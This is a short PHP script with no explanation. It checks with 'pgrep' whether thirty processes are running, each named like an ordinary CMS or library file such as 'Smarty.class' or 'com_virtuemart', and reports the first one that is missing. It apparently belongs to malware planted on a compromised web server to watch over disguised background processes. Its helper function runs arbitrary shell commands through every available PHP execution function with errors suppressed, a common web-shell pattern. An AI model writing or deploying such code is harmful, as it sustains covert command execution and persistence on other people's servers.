<?php   $files = ['csshelpers','mailusers','system_blocks','drm_management','news_randomnews','cust_report02','mod_k2_tools','database_changes','mod_arhiva','pmd_common','popup_info','adquestions_ed','jpgraph_polar','catlistings','message_stack','downloads','opendocument.lib','april4videos','Smarty.class','services_files','UnderLabEquipEN','stylesheet','testingheader','modulesadmin','punbb12.inc','data_role_cache','beginedit3','table.vat','advisors','com_virtuemart']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }